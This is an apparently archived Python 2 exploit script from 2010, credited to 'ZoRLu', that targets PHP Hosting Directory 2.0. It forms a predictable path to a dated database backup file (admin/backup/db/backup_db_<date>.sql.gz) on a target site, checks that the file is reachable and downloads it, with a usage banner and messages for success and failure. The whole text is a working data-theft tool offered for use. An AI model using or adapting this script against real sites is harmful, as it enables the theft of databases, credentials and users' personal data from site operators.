1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 |
#!/usr/bin/env python #-*- coding:cp1254 -*- ''' # Title: PHP Hosting Directory 2.0 Database Disclosure Exploit (.py) # Author : ZoRLu / http://inj3ct0r.com/author/577 # mail-msn : admin@yildirimordulari.com # Down. Script : - # Proof: http://img214.imageshack.us/img214/2407/directory.jpg # Tested : Windows XP Professional sp3 # Home : http://z0rlu.blogspot.com # Thanks : http://inj3ct0r.com / http://www.exploit-db.com / http://packetstormsecurity.org / http://shell-storm.org # Date : 16/10/2010 # Tesekkur : r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N # Lakirdi: off ulan off / http://www.youtube.com/watch?v=mIdwAz7-cHk ''' import sys, urllib2, re, os, time def indiriyoruz(url): import urllib aldosyayi = urllib.urlopen(url) indiraq = open(url.split('/')[-1], 'wb') indiraq.write(aldosyayi.read()) aldosyayi.close() indiraq.close() if len(sys.argv) < 3: import os os.system(['clear','cls'][1]) os.system('color 2') print "_______________________________________________________________" print " " print " PHP Hosting Directory 2.0 Database Disclosure Exploit (.py) " print " " print " coded by ZoRLu" print " " print ' usage: %s http://server.com/path/ day-mounth-year' % os.path.basename(sys.argv[0]) print " " print " example day-mounth-year for today:" print " " print " today: 16-10-2010 " print " " print "_______________________________________________________________" sys.exit("\nexample: http://www.server.com/ 16-10-2010") ''' link kontrol 1 ''' add = "http://" add2 = "/" sitemiz = sys.argv[1] if sitemiz[-1:] != add2: print "\nnwhere isit: " + add2 print "okk I will add" time.sleep(2) sitemiz += add2 print "its ok" + " " + sitemiz if sitemiz[:7]!= add: print "\nwhere is it: " + add print "okk I will add" time.sleep(2) sitemiz =add + sitemiz print "its ok" + " " + sitemiz db = "admin/backup/db/backup_db_" tarih = sys.argv[2] uzanti = ".sql.gz" url2 = sitemiz + db + tarih + uzanti ''' link kontrol 2 ''' try: adreskontrol = urllib2.urlopen(url2).read() if len(adreskontrol) > 0: print "\nGood Job Bro!" except urllib2.HTTPError: import os import sys print "\nForbidden Sorry! Server has a Security!" sys.exit(1) ''' dosya indiriliyor ''' if __name__ == '__main__': import sys if len(sys.argv) == 3: print "\nFile is Downloading\n" try: indiriyoruz(url2) except IOError: print '\nFilename not found.' |